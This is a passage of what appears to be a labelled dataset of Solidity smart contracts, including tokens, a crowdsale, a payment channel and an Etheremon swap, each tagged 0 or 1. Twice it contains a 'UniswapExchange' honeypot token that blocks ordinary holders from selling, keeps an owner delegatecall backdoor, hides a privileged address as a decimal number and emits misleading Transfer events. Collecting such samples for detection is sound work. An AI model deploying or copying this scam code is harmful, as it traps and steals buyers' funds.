require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,946 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract DragonAdvisors is Ownable{
using SafeERC20 for ERC20Basic;
using SafeMath for uint256;
ERC20Basic public token;
address public advisor;
uint256 public releasedTokens;
event TokenTapAdjusted(uint256 released);
constructor() public {
token = ERC20Basic(0x814F67fA286f7572B041D041b1D99b432c9155Ee);
owner = address(0xA5101498679Fa973c5cF4c391BfF991249934E73);
advisor = address(0x4768f69DD6a786284FD28FB5E5ec70419C02Bf5E);
releasedTokens = 0;
}
function release(uint256 _amount) public {
require(_amount > 0);
require(releasedTokens >= _amount);
releasedTokens = releasedTokens.sub(_amount);
uint256 balance = token.balanceOf(this);
require(balance >= _amount);
token.safeTransfer(advisor, _amount);
}
function transferTokens(address _to, uint256 _amount) external {
require(_to != address(0x00));
require(_amount > 0);
uint256 balance = token.balanceOf(this);
require(balance >= _amount);
token.safeTransfer(_to, _amount);
}
function adjustTap(uint256 _amount) external onlyOwner{
require(_amount > 0);
uint256 balance = token.balanceOf(this);
require(_amount <= balance);
releasedTokens = _amount;
emit TokenTapAdjusted(_amount);
}
function () public payable {
revert();
}
} | 1 | 5,389 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount) public;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale () public {
beneficiary = 0x1e19E36928bA65184669d8A7e7A37d8B061B9022;
fundingGoal = 0.0022 * 1 ether;
deadline = now + 40 * 1 minutes;
price = 0.00058 * 1 ether;
tokenReward = token(0xe8EF8d9d9Ff515720A62d2E2f14f3b5b677C6670);
}
function () public payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 3,753 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,610 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library ECRecovery {
function recover(bytes32 hash, bytes sig)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
return keccak256(
"\x19Ethereum Signed Message:\n32",
hash
);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TokenUnidirectional {
using SafeMath for uint256;
struct PaymentChannel {
address sender;
address receiver;
uint256 value;
uint256 settlingPeriod;
uint256 settlingUntil;
address tokenContract;
}
mapping (bytes32 => PaymentChannel) public channels;
event DidOpen(bytes32 indexed channelId, address indexed sender, address indexed receiver, uint256 value, address tokenContract);
event DidDeposit(bytes32 indexed channelId, uint256 deposit);
event DidClaim(bytes32 indexed channelId);
event DidStartSettling(bytes32 indexed channelId);
event DidSettle(bytes32 indexed channelId);
function open(bytes32 channelId, address receiver, uint256 settlingPeriod, address tokenContract, uint256 value) public {
require(isAbsent(channelId), "Channel with the same id is present");
StandardToken token = StandardToken(tokenContract);
require(token.transferFrom(msg.sender, address(this), value), "Unable to transfer token to the contract");
channels[channelId] = PaymentChannel({
sender: msg.sender,
receiver: receiver,
value: value,
settlingPeriod: settlingPeriod,
settlingUntil: 0,
tokenContract: tokenContract
});
emit DidOpen(channelId, msg.sender, receiver, value, tokenContract);
}
function canDeposit(bytes32 channelId, address origin) public view returns(bool) {
PaymentChannel storage channel = channels[channelId];
bool isSender = channel.sender == origin;
return isOpen(channelId) && isSender;
}
function deposit(bytes32 channelId, uint256 value) public {
require(canDeposit(channelId, msg.sender), "canDeposit returned false");
PaymentChannel storage channel = channels[channelId];
StandardToken token = StandardToken(channel.tokenContract);
require(token.transferFrom(msg.sender, address(this), value), "Unable to transfer token to the contract");
channel.value = channel.value.add(value);
emit DidDeposit(channelId, value);
}
function canStartSettling(bytes32 channelId, address origin) public view returns(bool) {
PaymentChannel storage channel = channels[channelId];
bool isSender = channel.sender == origin;
return isOpen(channelId) && isSender;
}
function startSettling(bytes32 channelId) public {
require(canStartSettling(channelId, msg.sender), "canStartSettling returned false");
PaymentChannel storage channel = channels[channelId];
channel.settlingUntil = block.number.add(channel.settlingPeriod);
emit DidStartSettling(channelId);
}
function canSettle(bytes32 channelId) public view returns(bool) {
PaymentChannel storage channel = channels[channelId];
bool isWaitingOver = block.number >= channel.settlingUntil;
return isSettling(channelId) && isWaitingOver;
}
function settle(bytes32 channelId) public {
require(canSettle(channelId), "canSettle returned false");
PaymentChannel storage channel = channels[channelId];
StandardToken token = StandardToken(channel.tokenContract);
require(token.transfer(channel.sender, channel.value), "Unable to transfer token to channel sender");
delete channels[channelId];
emit DidSettle(channelId);
}
function canClaim(bytes32 channelId, uint256 payment, address origin, bytes signature) public view returns(bool) {
PaymentChannel storage channel = channels[channelId];
bool isReceiver = origin == channel.receiver;
bytes32 hash = recoveryPaymentDigest(channelId, payment, channel.tokenContract);
bool isSigned = channel.sender == ECRecovery.recover(hash, signature);
return isReceiver && isSigned;
}
function claim(bytes32 channelId, uint256 payment, bytes signature) public {
require(canClaim(channelId, payment, msg.sender, signature), "canClaim returned false");
PaymentChannel storage channel = channels[channelId];
StandardToken token = StandardToken(channel.tokenContract);
if (payment >= channel.value) {
require(token.transfer(channel.receiver, channel.value), "Unable to transfer token to channel receiver");
} else {
require(token.transfer(channel.receiver, payment), "Unable to transfer token to channel receiver");
uint256 change = channel.value.sub(payment);
require(token.transfer(channel.sender, change), "Unable to transfer token to channel sender");
}
delete channels[channelId];
emit DidClaim(channelId);
}
function isAbsent(bytes32 channelId) public view returns(bool) {
PaymentChannel storage channel = channels[channelId];
return channel.sender == 0;
}
function isPresent(bytes32 channelId) public view returns(bool) {
return !isAbsent(channelId);
}
function isSettling(bytes32 channelId) public view returns(bool) {
PaymentChannel storage channel = channels[channelId];
return channel.settlingUntil != 0;
}
function isOpen(bytes32 channelId) public view returns(bool) {
return isPresent(channelId) && !isSettling(channelId);
}
function paymentDigest(bytes32 channelId, uint256 payment, address tokenContract) public view returns(bytes32) {
return keccak256(abi.encodePacked(address(this), channelId, payment, tokenContract));
}
function recoveryPaymentDigest(bytes32 channelId, uint256 payment, address tokenContract) internal view returns(bytes32) {
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
return keccak256(abi.encodePacked(prefix, paymentDigest(channelId, payment, tokenContract)));
}
} | 1 | 4,336 |
pragma solidity ^0.4.19;
contract Ownable
{
address public owner;
modifier onlyOwner
{
require(msg.sender == owner);
_;
}
function Ownable() public
{
owner = msg.sender;
}
}
contract EtheremonData
{
function getMonsterObj(uint64 _objId) constant public returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime);
}
contract EtheremonTrade
{
function freeTransferItem(uint64 _objId, address _receiver) external;
}
contract EtheremonDepositContract is Ownable
{
function sendMon(address tradeAddress, address receiver, uint64 mon) external onlyOwner
{
EtheremonTrade(tradeAddress).freeTransferItem(mon, receiver);
}
}
contract EtheremonSwap is Ownable
{
address public dataAddress = 0xabc1c404424bdf24c19a5cc5ef8f47781d18eb3e;
address public tradeAddress = 0x4ba72f0f8dad13709ee28a992869e79d0fe47030;
mapping(address => address) public depositAddress;
mapping(uint64 => address) public monToTrainer;
mapping(uint64 => uint64) public listedMonForMon;
mapping(uint64 => uint32) public listedMonForClass;
function changeOwner(address newOwner) onlyOwner external
{
owner = newOwner;
}
function setTradeAddress(address _tradeAddress) onlyOwner external
{
tradeAddress = _tradeAddress;
}
function generateDepositAddress() external
{
require(depositAddress[msg.sender] == 0);
depositAddress[msg.sender] = new EtheremonDepositContract();
}
function withdrawMon(uint64 mon) external
{
require(depositAddress[msg.sender] != 0);
delist(mon);
EtheremonDepositContract(depositAddress[msg.sender]).sendMon(tradeAddress, msg.sender, mon);
}
function emergencyWithdraw(address _tradeAddress, uint64 mon) external
{
require(depositAddress[msg.sender] != 0);
delist(mon);
EtheremonDepositContract(depositAddress[msg.sender]).sendMon(_tradeAddress, msg.sender, mon);
}
function postMonForMon(uint64 yourMon, uint64 desiredMon) external
{
checkOwnership(yourMon);
require(desiredMon != 0);
listedMonForMon[yourMon] = desiredMon;
monToTrainer[yourMon] = msg.sender;
}
function postMonForClass(uint64 yourMon, uint32 desiredClass) external
{
checkOwnership(yourMon);
require(desiredClass != 0);
listedMonForClass[yourMon] = desiredClass;
monToTrainer[yourMon] = msg.sender;
}
function delistMon(uint64 mon) external
{
require(monToTrainer[mon] == msg.sender);
delist(mon);
}
function trade(uint64 yourMon, uint64 desiredMon) external
{
checkOwnership(yourMon);
if(listedMonForMon[desiredMon] != yourMon)
{
uint32 class;
(,class,,,,,) = EtheremonData(dataAddress).getMonsterObj(yourMon);
require(listedMonForClass[desiredMon] == class);
}
executeTrade(msg.sender, yourMon, monToTrainer[desiredMon], desiredMon);
delist(yourMon);
delist(desiredMon);
}
function checkOwnership(uint64 mon) private view
{
require(depositAddress[msg.sender] != 0);
address trainer;
(,,trainer,,,,) = EtheremonData(dataAddress).getMonsterObj(mon);
require(trainer == depositAddress[msg.sender]);
}
function executeTrade(address trainerA, uint64 monA, address trainerB, uint64 monB) private
{
EtheremonDepositContract(depositAddress[trainerA]).sendMon(tradeAddress, trainerB, monA);
EtheremonDepositContract(depositAddress[trainerB]).sendMon(tradeAddress, trainerA, monB);
}
function delist(uint64 mon) private
{
if(listedMonForMon [mon] != 0){listedMonForMon [mon] = 0;}
if(listedMonForClass[mon] != 0){listedMonForClass[mon] = 0;}
if(monToTrainer [mon] != 0){monToTrainer [mon] = 0;}
}
} | 0 | 2,509 |
pragma solidity ^0.4.24;
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
